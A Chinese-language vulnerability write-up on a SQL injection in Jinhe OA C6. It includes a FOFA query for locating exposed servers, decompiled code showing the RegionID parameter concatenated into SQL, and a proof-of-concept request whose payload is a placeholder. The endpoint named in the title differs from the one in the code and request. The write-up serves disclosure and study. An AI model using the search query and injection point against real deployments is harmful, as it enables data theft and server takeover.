漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 SubjectHandler.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 SubjectHandler.aspx 的源码,在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 SubjectHandler 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
this.InitPage();
if (this.Request.QueryString["RegionID"] == null || string.op_Equality(this.Request.QueryString["RegionID"], ""))
{
this.title = "区域添加";
this.btnOK.Text = "添 加";
}
else
{
this.title = "区域修改";
this.btnOK.Text = "修 改";
((WebControl) this.txtRegionID).Enabled = false;
if (((Control) this).Page.IsPostBack)
return;
this.getInfomation();
}
}
跟进getInfomation方法看下其实现
protected void getInfomation()
{
DataSet typeInfomationById = this.costManager.Get_Budget_RegionTypeInfomationByID(this.Request.QueryString["RegionID"]);
RegionID 被带入Get_Budget_RegionTypeInfomationByID方法
public DataSet Get_Budget_RegionTypeInfomationByID(string RegionID)
{
return this.GetDS_BySQL($" Select RegionName,remark from Budget_RegionType where RegionID = '{RegionID}' ");
}
参数RegionID被直接拼接到SQL语句中执行,造成SQL注入漏洞。
漏洞复现
GET /c6/JHSoft.Web.CostControl/CostManagement/TravelBasicSetting/Budget_RegionType.aspx/?RegionID=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 4 秒

